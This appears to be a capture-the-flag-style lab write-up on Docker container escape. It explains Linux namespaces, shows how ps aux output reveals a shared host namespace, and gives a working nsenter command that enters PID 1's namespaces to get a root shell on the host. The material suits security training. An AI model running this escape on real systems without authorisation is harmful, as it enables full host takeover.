Vulnerability 4: Abusing Namespaces
What Are Namespaces
Namespaces segregate system resources such as processes, files, and memory away from other namespaces. Every process running on Linux will be assigned two things:
A namespace
A Process Identifier (PID)
Namespaces are how containerisation is achieved! Processes can only "see" the process in the same namespace. Take Docker, for example, every new container will run as a new namespace, although the container may run multiple applications (processes).
Let's prove the concept of containerisation by comparing the number of processes on the host operating system, in comparison to the Docker container that the host is running (an apache2 web server):
cmnatic@thm-dev:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
--cut for brevity--
cmnatic 1984 0.0 0.7 493400 28932 ? Sl 00:48 0:00 update-notifier
cmnatic 2263 5.6 10.0 3385096 396960 ? Sl 00:48 0:08 /snap/firefox/1232/usr/lib/firefox/firefox
cmnatic 2429 0.4 2.8 2447088 114900 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 1 -
cmnatic 2457 0.0 0.4 1385228 18496 ? Sl 00:48 0:00 /usr/bin/snap userd
cmnatic 3054 0.1 2.3 2425836 91936 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 520
cmnatic 3346 1.7 4.1 2526924 162944 ? Sl 00:48 0:02 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 584
cmnatic 3350 0.0 1.6 2390708 66560 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 584
cmnatic 3369 0.0 1.6 2390712 66672 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 5 -isForBrowser -prefsLen 584
cmnatic 3417 0.0 1.6 2390708 66432 ? Sl 00:48 0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 6 -isForBrowser -prefsLen 590
cmnatic 3490 0.0 0.3 428192 12288 ? Sl 00:49 0:00 /usr/libexec/deja-dup/deja-dup-monitor
cmnatic 3524 0.4 1.8 932320 74496 ? Sl 00:49 0:00 /usr/bin/nautilus --gapplication-service
cmnatic 3545 0.7 1.3 557340 55232 ? Ssl 00:49 0:00 /usr/libexec/gnome-terminal-server
cmnatic 3563 0.0 0.1 12908 6784 pts/0 Ss+ 00:49 0:00 bash
--cut for brevity--bas
In the first column on the very left, we can see the user the process is running as, including the process number (PID). Additionally, notice that the column on the very right has the command or application that started the process (such as Firefox and Gnome terminal). It's important to note here that multiple applications and processes are running (specifically 320!).
Generally speaking, a Docker container will have very processes running. This is because a container is designed to do one task. I.e., just run a web server, or a database.
Determining if We're in a Container (Processes)
Let's list the processes running in our Docker container using ps aux
. It's important to note that we only have six processes running in this example. The difference in the number of processes is usually a great indicator that we're in a container.
Additionally, the first process in the snippet below has a PID of 1. This is the first process that is running. PID 1 (usually init) is the ancestor (parent) for all future processes that are started. If, for whatever reason, this process is stopped, then all other processes are stopped too.
root@demo-container:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.2 0.2 166612 11356 ? Ss 00:47 0:00 /sbin/init
root 14 0.1 0.1 6520 5212 ? S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
www-data 15 0.1 0.1 1211168 4112 ? S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
www-data 16 0.1 0.1 1211168 4116 ? S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
root 81 0.0 0.0 5888 2972 pts/0 R+ 00:52 ps aux
Comparatively, we can see that only 5 processes are running. A good indicator that we're in a container! However, as we come to discover shortly, this is not 100% indicative. There are cases where, ironically, you want the container to be able to interact directly with the host.
How Can We Abuse Namespaces
Recall cgroups (control groups) in a previous vulnerability. We are going to be using these in another method of exploitation. This attack abuses conditions where the container will share the same namespace as the host operating system (and therefore, the container can communicate with the processes on the host).
You might see this in cases where the container relies on a process running or needs to "plug in" to the host such as the use of debugging tools. In these situations, you can expect to see the host's processes in the container when listing them via ps aux
.
root@demo-container:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.5 102796 11372 ? Ss 11:40 0:03 /sbin/init
root 2 0.0 0.0 0 0 ? S 11:40 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 11:40 0:00 [rcu_gp]
-- cut for brevity --
root 2119 0.0 0.1 1148348 3372 ? Sl 12:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 22 -container-ip 172.17.0.2 -container
root 2125 0.0 0.1 1148348 3392 ? Sl 12:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 22 -container-ip 172.17.0.2 -container-port
root 2141 0.0 0.4 712144 9192 ? Sl 12:00 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 2032326e64254786be0a420199ef845d8f97afccba9e2e
root 2163 0.0 0.2 72308 5644 ? Ss 12:00 0:00 /usr/sbin/sshd -D
The Exploit
For this vulnerability, we will be using nsenter
(namespace enter). This command allows us to execute or start processes, and place them within the same namespace as another process. In this case, we will be abusing the fact that the container can see the "/sbin/init" process on the host, meaning that we can launch new commands such as a bash shell on the host.
Use the following exploit: nsenter --target 1 --mount --uts --ipc --net /bin/bash
, which does the following:
We use the
--target
switch with the value of "1" to execute our shell command that we later provide to execute in the namespace of the special system process ID to get the ultimate root!Specifying
--mount
this is where we provide the mount namespace of the process that we are targeting. "If no file is specified, enter the mount namespace of the target process." (Man.org., 2013).The
--uts
switch allows us to share the same UTS namespace as the target process meaning the same hostname is used. This is important as mismatching hostnames can cause connection issues (especially with network services).The
--ipc
switch means that we enter the Inter-process Communication namespace of the process which is important. This means that memory can be shared.The
--net
switch means that we enter the network namespace meaning that we can interact with network-related features of the system. For example, the network interfaces. We can use this to open up a new connection (such as a stable reverse shell on the host).As we are targeting the "/sbin/init" process #1 (although it's a symbolic link to "lib/systemd/systemd" for backwards compatibility), we are using the namespace and permissions of the systemd daemon for our new process (the shell)
Here's where our process will be executed into this privileged namespace:
sh
or a shell. This will execute in the same namespace (and therefore privileges) of the kernel.
You may need to "Ctrl + C" to cancel the exploit once or twice for this vulnerability to work, but as you can see below, we have escaped the docker container and can look around the host OS (showing the change in hostname)
root@demo-container:~# hostname
thm-docker-host
Last updated